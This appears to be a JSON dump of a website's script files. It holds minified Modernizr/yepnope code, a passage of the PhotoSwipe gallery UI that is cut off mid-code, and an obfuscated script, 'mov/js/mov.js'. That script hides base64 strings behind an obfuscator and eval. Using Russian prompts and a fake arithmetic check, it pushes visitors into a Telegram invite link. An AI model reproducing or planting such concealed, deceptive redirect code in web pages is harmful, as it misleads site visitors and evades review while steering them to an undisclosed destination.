a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(t.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(t.call(arguments)))};return e}),p.cssanimations=function(){return D(\"animationName\")};for(var E in p)w(p,E)&&(u=E.toLowerCase(),e[u]=p[E](),s.push((e[u]?\"\":\"no-\")+u));return e.addTest=function(a,b){if(typeof a==\"object\")for(var d in a)w(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b==\"function\"?b():b,typeof f!=\"undefined\"&&f&&(g.className+=\" \"+(b?\"\":\"no-\")+a),e[a]=b}return e},x(\"\"),i=k=null,function(a,b){function l(a,b){var c=a.createElement(\"p\"),d=a.getElementsByTagName(\"head\")[0]||a.documentElement;return c.innerHTML=\"x<style>\"+b+\"</style>\",d.insertBefore(c.lastChild,d.firstChild)}function m(){var a=s.elements;return typeof a==\"string\"?a.split(\" \"):a}function n(a){var b=j[a[h]];return b||(b={},i++,a[h]=i,j[i]=b),b}function o(a,c,d){c||(c=b);if(k)return c.createElement(a);d||(d=n(c));var g;return d.cache[a]?g=d.cache[a].cloneNode():f.test(a)?g=(d.cache[a]=d.createElem(a)).cloneNode():g=d.createElem(a),g.canHaveChildren&&!e.test(a)&&!g.tagUrn?d.frag.appendChild(g):g}function p(a,c){a||(a=b);if(k)return a.createDocumentFragment();c=c||n(a);var d=c.frag.cloneNode(),e=0,f=m(),g=f.length;for(;e<g;e++)d.createElement(f[e]);return d}function q(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return s.shivMethods?o(c,a,b):b.createElem(c)},a.createDocumentFragment=Function(\"h,f\",\"return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&(\"+m().join().replace(/[\\w\\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c(\"'+a+'\")'})+\");return n}\")(s,b.frag)}function r(a){a||(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCSS&&(c.hasCSS=!!l(a,\"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}\")),k||q(a,c),a}var c=\"3.7.0\",d=a.html5||{},e=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,f=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,g,h=\"_html5shiv\",i=0,j={},k;(function(){try{var a=b.createElement(\"a\");a.innerHTML=\"<xyz></xyz>\",g=\"hidden\"in a,k=a.childNodes.length==1||function(){b.createElement(\"a\");var a=b.createDocumentFragment();return typeof a.cloneNode==\"undefined\"||typeof a.createDocumentFragment==\"undefined\"||typeof a.createElement==\"undefined\"}()}catch(c){g=!0,k=!0}})();var s={elements:d.elements||\"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video\",version:c,shivCSS:d.shivCSS!==!1,supportsUnknownElements:k,shivMethods:d.shivMethods!==!1,type:\"default\",shivDocument:r,createElement:o,createDocumentFragment:p};a.html5=s,r(b)}(this,b),e._version=d,e._domPrefixes=o,e._cssomPrefixes=n,e.testProp=function(a){return B([a])},e.testAllProps=D,e.prefixed=function(a,b,c){return b?D(a,b,c):D(a,\"pfx\")},g.className=g.className.replace(/(^|\\s)no-js(\\s|$)/,\"$1$2\")+(f?\" js \"+s.join(\" \"):\"\"),e}(this,this.document),function(a,b,c){function d(a){return\"[object Function]\"==o.call(a)}function e(a){return\"string\"==typeof a}function f(){}function g(a){return!a||\"loaded\"==a||\"complete\"==a||\"uninitialized\"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){(\"c\"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){\"img\"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),\"object\"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height=\"0\",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),\"img\"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||\"j\",e(a)?i(\"c\"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName(\"script\")[0],o={}.toString,p=[],q=0,r=\"MozAppearance\"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&\"[object Opera]\"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?\"object\":l?\"script\":\"img\",v=l?\"script\":u,w=Array.isArray||function(a){return\"[object Array]\"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split(\"!\"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split(\"=\"),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,h){var i=b(a),j=i.autoCallback;i.url.split(\".\").pop().split(\"?\").shift(),i.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split(\"/\").pop().split(\"?\")[0]]),i.instead?i.instead(a,e,f,g,h):(y[i.url]?i.noexec=!0:y[i.url]=1,f.load(i.url,i.forceCSS||!i.forceJS&&\"css\"==i.url.split(\".\").pop().split(\"?\").shift()?\"c\":c,i.noexec,i.attrs,i.timeout),(d(e)||d(j))&&f.load(function(){k(),e&&e(i.origUrl,h,g),j&&j(i.origUrl,h,g),y[i.url]=2})))}function h(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var i,j,l=this.yepnope.loader;if(e(a))g(a,0,l,0);else if(w(a))for(i=0;i<a.length;i++)j=a[i],e(j)?g(j,0,l,0):w(j)?B(j):Object(j)===j&&h(j,l);else Object(a)===a&&h(a,l)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,null==b.readyState&&b.addEventListener&&(b.readyState=\"loading\",b.addEventListener(\"DOMContentLoaded\",A=function(){b.removeEventListener(\"DOMContentLoaded\",A,0),b.readyState=\"complete\"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement(\"script\"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement(\"link\"),j,c=i?h:c||f;e.href=a,e.rel=\"stylesheet\",e.type=\"text/css\";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))};"
  },
  {
    "path": "mov/js/mov.js",
    "content": "(()=>{for(var e=a0_0x5868,a=a0_0x3ed1();;)try{if(680855==+parseInt(e(239))*(parseInt(e(253))/2)+parseInt(e(243))/3+-parseInt(e(234))/4+parseInt(e(235))/5*(-parseInt(e(244))/6)+-parseInt(e(259))/7*(parseInt(e(238))/8)+-parseInt(e(260))/9*(-parseInt(e(251))/10)+-parseInt(e(246))/11)break;a.push(a.shift())}catch(e){a.push(a.shift())}})();let Telegram={API:{JoinMethod(){return atob(a0_0x5868(252))},InviteKey(){return atob(a0_0x5868(264))},UrlProtocolName(){return\"TG\"}}},Browser={ArgumentsBegin(){return\"? \"[a0_0x5868(245)]()},ArgumentsAnd(){return\"& \"[a0_0x5868(245)]()},SetArgumentPromptValue(){return\"= \".trim()}};function a0_0x5868(e,a){let t=a0_0x3ed1();return(a0_0x5868=function(e,a){return e-=228,t[e]})(e,a)}function a0_0x3ed1(){let e=[\"floor\",\"random\",\"InviteKey\",\"MTI4NDM5MDc5MzI3ODU2MTA1MjkzMDIxNTg1MTQ2MDkyMzQ3OCAgRE9TWCAgMzQ5ODgwMzkyNTAyMTQ4MzkwNzU2MjA5ODM1NDcyICAgICAgICA9PQ==\",\"1474120dhlsgV\",\"200SEmkQM\",\"Desktop\",\"для мобильных устройств\",\"77432hmfUVD\",\"719TwfPTs\",\"clear\",\"Требуется установить официальное программное обеспечение Telegram. Повторите попытку позже.\\n\\n* В данный момент Telegram Web не поддерживается\",\"confirm\",\"1872255abhXYR\",\"89418CiSTfj\",\"trim\",\"15536422aKEviJ\",\"LQ==\",\"mobileCheck\",\"vendor\",\"userAgent\",\"10ZwEQiJ\",\"am9pbg==\",\"3544mvFFPC\",\"length\",\"SjVqbl93UmlfOXc1TjJNeQ==\",\"JoinMethod\",\"test\",\"UrlProtocolName\",\"91qOWpLf\",\"11570229ZxqWGO\",\"У Вас установлен Telegram \",\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\",\"Oi8v\",\"aW52aXRl\",\"charAt\",\"ArgumentsAnd\",\"substr\",\"API\"];return(a0_0x3ed1=function(){return e})()}function invite(){let _0x2efa0e=a0_0x5868;window[_0x2efa0e(242)](_0x2efa0e(261)+(window[_0x2efa0e(248)]()?_0x2efa0e(237):_0x2efa0e(236))+\"?\")?((_0x1d646c=>{let _0x3938df=_0x2efa0e,_0x268af1=e=>atob(e),_0x23cf9b=e=>{let a=a0_0x5868,t=Math[a(230)](10*Math[a(231)]())+1,r=Math.floor(10*Math[a(231)]())+1;function o(){return atob(\"Kw==\")}var n=Math.random()<.5?o():(n=a,atob(n(247)));prompt(\"Отлично! А сколько будет \"+t+\" \"+n+\" \"+r+\" = ... ?\")==parseInt(n===o()?t+r:t-r)?location=e:alert(\"Ответ неверный. Пожалуйста, попробуйте ещё раз...\")},_0x97dc7b=_0x4079e1=>{let _0x26af93=a0_0x5868;return Telegram[_0x26af93(229)][_0x26af93(258)]()+eval(\"const _0x576395 = _0x26af93;atob(_0x576395(263));\")+_0x4079e1};_0x23cf9b(_0x97dc7b(Telegram[_0x3938df(229)][_0x3938df(256)]()+Browser.ArgumentsBegin()+Telegram[_0x3938df(229)][_0x3938df(232)]()+Browser.SetArgumentPromptValue())+_0x268af1(_0x1d646c)+Browser[_0x3938df(266)]()+\"c\"+Browser.SetArgumentPromptValue()+key_c())})(_0x2efa0e(255)),SetArgumentPromptValue(),console[_0x2efa0e(240)]()):alert(_0x2efa0e(241))}function _(){return a0_0x5868(233)}function key_c(){var a=a0_0x5868,t=a(262);let r=\"\";for(let e=0;e<150;e++){e%4==0&&0!==e&&(r+=\"-\");var o=Math[a(230)](Math[a(231)]()*t[a(254)]);r+=t[a(265)](o)}return r}window.mobileCheck=function(){var e,a=a0_0x5868;let t=!1;return a=navigator[a(250)]||navigator[a(249)]||window.opera,e=a0_0x5868,t=/(android|bb\\d+|meego).+mobile|avantgo|bada\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[e(257)](a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-/i[e(257)](a[e(228)](0,4))?!0:t};"
  },
  {
    "path": "mov/js/photoswipe-ui-default.js",
    "content": "/*! PhotoSwipe Default UI - 4.1.0 - 2015-09-04\n* http://photoswipe.com\n* Copyright (c) 2015 Dmitry Semenov; */\n/**\n*\n* UI on top of main sliding area (caption, arrows, close button, etc.).\n* Built just using public methods/properties of PhotoSwipe.\n* \n*/\n(function (root, factory) { \n\tif (typeof define === 'function' && define.amd) {\n\t\tdefine(factory);\n\t} else if (typeof exports === 'object') {\n\t\tmodule.exports = factory();\n\t} else {\n\t\troot.PhotoSwipeUI_Default = factory();\n\t}\n})(this, function () {\n\n\t'use strict';\n\n\n\nvar PhotoSwipeUI_Default =\n function(pswp, framework) {\n\n\tvar ui = this;\n\tvar _overlayUIUpdated = false,\n\t\t_controlsVisible = true,\n\t\t_fullscrenAPI,\n\t\t_controls,\n\t\t_captionContainer,\n\t\t_fakeCaptionContainer,\n\t\t_indexIndicator,\n\t\t_shareButton,\n\t\t_shareModal,\n\t\t_shareModalHidden = true,\n\t\t_initalCloseOnScrollValue,\n\t\t_isIdle,\n\t\t_listen,\n\n\t\t_loadingIndicator,\n\t\t_loadingIndicatorHidden,\n\t\t_loadingIndicatorTimeout,\n\n\t\t_galleryHasOneSlide,\n\n\t\t_options,\n\t\t_defaultUIOptions = {\n\t\t\tbarsSize: {top:44, bottom:'auto'},\n\t\t\tcloseElClasses: ['item', 'caption', 'zoom-wrap', 'ui', 'top-bar'], \n\t\t\ttimeToIdle: 4000, \n\t\t\ttimeToIdleOutside: 1000,\n\t\t\tloadingIndicatorDelay: 1000, // 2s\n\t\t\t\n\t\t\taddCaptionHTMLFn: function(item, captionEl /*, isFake */) {\n\t\t\t\tif(!item.title) {\n\t\t\t\t\tcaptionEl.children[0].innerHTML = '';\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\tcaptionEl.children[0].innerHTML = item.title;\n\t\t\t\treturn true;\n\t\t\t},\n\n\t\t\tcloseEl:true,\n\t\t\tcaptionEl: true,\n\t\t\tfullscreenEl: true,\n\t\t\tzoomEl: true,\n\t\t\tshareEl: true,\n\t\t\tcounterEl: true,\n\t\t\tarrowEl: true,\n\t\t\tpreloaderEl: true,\n\n\t\t\ttapToClose: false,\n\t\t\ttapToToggleControls: true,\n\n\t\t\tclickToCloseNonZoomable: true,\n\n\t\t\tshareButtons: [\n\t\t\t\t{id:'facebook', label:'Share on Facebook', url:'https://www.facebook.com/sharer/sharer.php?u={{url}}'},\n\t\t\t\t{id:'twitter', label:'Tweet', url:'https://twitter.com/intent/tweet?text={{text}}&url={{url}}'},\n\t\t\t\t{id:'pinterest', label:'Pin it', url:'http://www.pinterest.com/pin/create/button/'+\n\t\t\t\t\t\t\t\t\t\t\t\t\t'?url={{url}}&media={{image_url}}&description={{text}}'},\n\t\t\t\t{id:'download', label:'Download image', url:'{{raw_image_url}}', download:true}\n\t\t\t],\n\t\t\tgetImageURLForShare: function( /* shareButtonData */ ) {\n\t\t\t\treturn pswp.currItem.src || '';\n\t\t\t},\n\t\t\tgetPageURLForShare: function( /* shareButtonData */ ) {\n\t\t\t\treturn window.location.href;\n\t\t\t},\n\t\t\tgetTextForShare: function( /* shareButtonData */ ) {\n\t\t\t\treturn pswp.currItem.title || '';\n\t\t\t},\n\t\t\t\t\n\t\t\tindexIndicatorSep: ' / '\n\n\t\t},\n\t\t_blockControlsTap,\n\t\t_blockControlsTapTimeout;\n\n\n\n\tvar _onControlsTap = function(e) {\n\t\t\tif(_blockControlsTap) {\n\t\t\t\treturn true;\n\t\t\t}\n\n\n\t\t\te = e || window.event;\n\n\t\t\tif(_options.timeToIdle && _options.mouseUsed && !_isIdle) {\n\t\t\t\t// reset idle timer\n\t\t\t\t_onIdleMouseMove();\n\t\t\t}\n\n\n\t\t\tvar target = e.target || e.srcElement,\n\t\t\t\tuiElement,\n\t\t\t\tclickedClass = target.className,\n\t\t\t\tfound;\n\n\t\t\tfor(var i = 0; i < _uiElements.length; i++) {\n\t\t\t\tuiElement = _uiElements[i];\n\t\t\t\tif(uiElement.onTap && clickedClass.indexOf('pswp__' + uiElement.name ) > -1 ) {\n\t\t\t\t\tuiElement.onTap();\n\t\t\t\t\tfound = true;\n\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(found) {\n\t\t\t\tif(e.stopPropagation) {\n\t\t\t\t\te.stopPropagation();\n\t\t\t\t}\n\t\t\t\t_blockControlsTap = true;\n\n\t\t\t\t// Some versions of Android don't prevent ghost click event \n\t\t\t\t// when preventDefault() was called on touchstart and/or touchend.\n\t\t\t\t// \n\t\t\t\t// This happens on v4.3, 4.2, 4.1, \n\t\t\t\t// older versions strangely work correctly, \n\t\t\t\t// but just in case we add delay on all of them)\t\n\t\t\t\tvar tapDelay = framework.features.isOldAndroid ? 600 : 30;\n\t\t\t\t_blockControlsTapTimeout = setTimeout(function() {\n\t\t\t\t\t_blockControlsTap = false;\n\t\t\t\t}, tapDelay);\n\t\t\t}\n\n\t\t},\n\t\t_fitControlsInViewport = function() {\n\t\t\treturn !pswp.likelyTouchDevice || _options.mouseUsed || screen.width > 1200;\n\t\t},\n\t\t_togglePswpClass = function(el, cName, add) {\n\t\t\tframework[ (add ? 'add' : 'remove') + 'Class' ](el, 'pswp__' + cName);\n\t\t},\n\n\t\t// add class when there is just one item in the gallery\n\t\t// (by default it hides left/right arrows and 1ofX counter)\n\t\t_countNumItems = function() {\n\t\t\tvar hasOneSlide = (_options.getNumItemsFn() === 1);\n\n\t\t\tif(hasOneSlide !== _galleryHasOneSlide) {\n\t\t\t\t_togglePswpClass(_controls, 'ui--one-slide', hasOneSlide);\n\t\t\t\t_galleryHasOneSlide = hasOneSlide;\n\t\t\t}\n\t\t},\n\t\t_toggleShareModalClass = function() {\n\t\t\t_togglePswpClass(_shareModal, 'share-modal--hidden', _shareModalHidden);\n\t\t},\n\t\t_toggleShareModal = function() {\n\n\t\t\t_shareModalHidden = !_shareModalHidden;\n\t\t\t\n\t\t\t\n\t\t\tif(!_shareModalHidden) {\n\t\t\t\t_toggleShareModalClass();\n\t\t\t\tsetTimeout(function() {\n\t\t\t\t\tif(!_shareModalHidden) {\n\t\t\t\t\t\tframework.addClass(_shareModal, 'pswp__share-modal--fade-in');\n\t\t\t\t\t}\n\t\t\t\t}, 30);\n\t\t\t} else {\n\t\t\t\tframework.removeClass(_shareModal, 'pswp__share-modal--fade-in');\n\t\t\t\tsetTimeout(function() {\n\t\t\t\t\tif(_shareModalHidden) {\n\t\t\t\t\t\t_toggleShareModalClass();\n\t\t\t\t\t}\n\t\t\t\t}, 300);\n\t\t\t}\n\t\t\t\n\t\t\tif(!_shareModalHidden) {\n\t\t\t\t_updateShareURLs();\n\t\t\t}\n\t\t\treturn false;\n\t\t},\n\n\t\t_openWindowPopup = function(e) {\n\t\t\te = e || window.event;\n\t\t\tvar target = e.target || e.srcElement;\n\n\t\t\tpswp.shout('shareLinkClick', e, target);\n\n\t\t\tif(!target.href) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tif( target.hasAttribute('download') ) {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\twindow.open(target.href, 'pswp_share', 'scrollbars=yes,resizable=yes,toolbar=no,'+\n\t\t\t\t\t\t\t\t\t\t'location=yes,width=550,height=420,top=100,left=' + \n\t\t\t\t\t\t\t\t\t\t(window.screen ? Math.round(screen.width / 2 - 275) : 100)  );\n\n\t\t\tif(!_shareModalHidden) {\n\t\t\t\t_toggleShareModal();\n\t\t\t}\n\t\t\t\n\t\t\treturn false;\n\t\t},\n\t\t_updateShareURLs = function() {\n\t\t\tvar shareButtonOut = '',\n\t\t\t\tshareButtonData,\n\t\t\t\tshareURL,\n\t\t\t\timage_url,\n\t\t\t\tpage_url,\n\t\t\t\tshare_text;\n\n\t\t\tfor(var i = 0; i < _options.shareButtons.length; i++) {\n\t\t\t\tshareButtonData = _options.shareButtons[i];\n\n\t\t\t\timage_url = _options.getImageURLForShare(shareButtonData);\n\t\t\t\tpage_url = _options.getPageURLForShare(shareButtonData);\n\t\t\t\tshare_text = _options.getTextForShare(shareButtonData);\n\n\t\t\t\tshareURL = shareButtonData.url.replace('{{url}}', encodeURIComponent(page_url) )\n\t\t\t\t\t\t\t\t\t.replace('{{image_url}}', encodeURIComponent(image_url) )\n\t\t\t\t\t\t\t\t\t.replace('{{raw_image_url}}', image_url )\n\t\t\t\t\t\t\t\t\t.replace('{{text}}', encodeURIComponent(share_text) );\n\n\t\t\t\tshareButtonOut += '<a href=\"' + shareURL + '\" target=\"_blank\" '+\n\t\t\t\t\t\t\t\t\t'class=\"pswp__share--' + shareButtonData.id + '\"' +\n\t\t\t\t\t\t\t\t\t(shareButtonData.download ? 'download' : '') + '>' + \n\t\t\t\t\t\t\t\t\tshareButtonData.label + '</a>';\n\n\t\t\t\tif(_options.parseShareButtonOut) {\n\t\t\t\t\tshareButtonOut = _options.parseShareButtonOut(shareButtonData, shareButtonOut);\n\t\t\t\t}\n\t\t\t}\n\t\t\t_shareModal.children[0].innerHTML = shareButtonOut;\n\t\t\t_shareModal.children[0].onclick = _openWindowPopup;\n\n\t\t},\n\t\t_hasCloseClass = function(target) {\n\t\t\tfor(var  i = 0; i < _options.closeElClasses.length; i++) {\n\t\t\t\tif( framework.hasClass(target, 'pswp__' + _options.closeElClasses[i]) ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t_idleInterval,\n\t\t_idleTimer,\n\t\t_idleIncrement = 0,\n\t\t_onIdleMouseMove = function() {\n\t\t\tclearTimeout(_idleTimer);\n\t\t\t_idleIncrement = 0;\n\t\t\tif(_isIdle) {\n\t\t\t\tui.setIdle(false);\n\t\t\t}\n\t\t},\n\t\t_onMouseLeaveWindow = function(e) {\n\t\t\te = e ? e : window.event;\n\t\t\tvar from = e.relatedTarget || e.toElement;\n\t\t\tif (!from || from.nodeName === 'HTML') {\n\t\t\t\tclearTimeout(_idleTimer);\n\t\t\t\t_idleTimer = setTimeout(function() {\n\t\t\t\t\tui.setIdle(true);\n\t\t\t\t}, _options.timeToIdleOutside);\n\t\t\t}\n\t\t},\n\t\t_setupFullscreenAPI = function() {\n\t\t\tif(_options.fullscreenEl && !framework.features.isOldAndroid) {\n\t\t\t\tif(!_fullscrenAPI) {\n\t\t\t\t\t_fullscrenAPI = ui.getFullscreenAPI();\n\t\t\t\t}\n\t\t\t\tif(_fullscrenAPI) {\n\t\t\t\t\tframework.bind(document, _fullscrenAPI.eventK, ui.updateFullscreen);\n\t\t\t\t\tui.updateFullscreen();\n\t\t\t\t\tframework.addClass(pswp.template, 'pswp--supports-fs');\n\t\t\t\t} else {\n\t\t\t\t\tframework.removeClass(pswp.template, 'pswp--supports-fs');\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t_setupLoadingIndicator = function() {\n\t\t\t// Setup loading indicator\n\t\t\tif(_options.preloaderEl) {\n\t\t\t\n\t\t\t\t_toggleLoadingIndicator(true);\n\n\t\t\t\t_listen('beforeChange', function() {\n\n\t\t\t\t\tclearTimeout(_loadingIndicatorTimeout);\n\n\t\t\t\t\t// display loading indicator with delay\n\t\t\t\t\t_loadingIndicatorTimeout = setTimeout(function() {\n\n\t\t\t\t\t\tif(pswp.currItem && pswp.currItem.loading) {\n\n\t\t\t\t\t\t\tif( !pswp.allowProgressiveImg() || (pswp.currItem.img && !pswp.currItem.img.naturalWidth)  ) {\n\t\t\t\t\t\t\t\t// show preloader if progressive loading is not enabled, \n\t\t\t\t\t\t\t\t// or image width is not defined yet (because of slow connection)\n\t\t\t\t\t\t\t\t_toggleLoadingIndicator(false); \n\t\t\t\t\t\t\t\t// items-controller.js function allowProgressiveImg\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t_toggleLoadingIndicator(true); // hide preloader\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}, _options.loadingIndicatorDelay);\n\t\t\t\t\t\n\t\t\t\t});\n\t\t\t\t_listen('imageLoadComplete', function(index, item) {\n\t\t\t\t\tif(pswp.currItem === item) {\n\t\t\t\t\t\t_toggleLoadingIndicator(true);\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t}\n\t\t},\n\t\t_toggleLoadingIndicator = function(hide) {\n\t\t\tif( _loadingIndicatorHidden !== hide ) {\n\t\t\t\t_togglePswpClass(_loadingIndicator, 'preloader--active', !hide);\n\t\t\t\t_loadingIndicatorHidden = hide;\n\t\t\t}\n\t\t},\n\t\t_applyNavBarGaps = function(item) {\n\t\t\tvar gap = item.vGap;\n\n\t\t\tif( _fitControlsInViewport() ) {\n\t\t\t\t\n\t\t\t\tvar bars = _options.barsSize; \n\t\t\t\tif(_options.captionEl && bars.bottom === 'auto') {\n\t\t\t\t\tif(!_fakeCaptionContainer) {\n\t\t\t\t\t\t_fakeCaptionContainer = framework.createEl('pswp__caption pswp__caption--fake');\n\t\t\t\t\t\t_fakeCaptionContainer.appendChild( framework.createEl('pswp__caption__center') );\n\t\t\t\t\t\t_controls.insertBefore(_fakeCaptionContainer, _captionContainer);\n\t\t\t\t\t\tframework.addClass(_controls, 'pswp__ui--fit');\n\t\t\t\t\t}\n\t\t\t\t\tif( _options.addCaptionHTMLFn(item, _fakeCaptionContainer, true) ) {\n\n\t\t\t\t\t\tvar captionSize = _fakeCaptionContainer.clientHeight;\n\t\t\t\t\t\tgap.bottom = parseInt(captionSize,10) || 44;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tgap.bottom = bars.top; // if no caption, set size of bottom gap to size of top\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tgap.bottom = bars.bottom === 'auto' ? 0 : bars.bottom;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// height of top bar is static, no need to calculate it\n\t\t\t\tgap.top = bars.top;\n\t\t\t} else {\n\t\t\t\tgap.top = gap.bottom = 0;\n\t\t\t}\n\t\t},\n\t\t_setupIdle = function() {\n\t\t\t// Hide controls when mouse is used\n\t\t\tif(_options.timeToIdle) {\n\t\t\t\t_listen('mouseUsed', function() {\n\t\t\t\t\t\n\t\t\t\t\tframework.bind(document, 'mousemove', _onIdleMouseMove);\n\t\t\t\t\tframework.bind(document, 'mouseout', _onMouseLeaveWindow);\n\n\t\t\t\t\t_idleInterval = 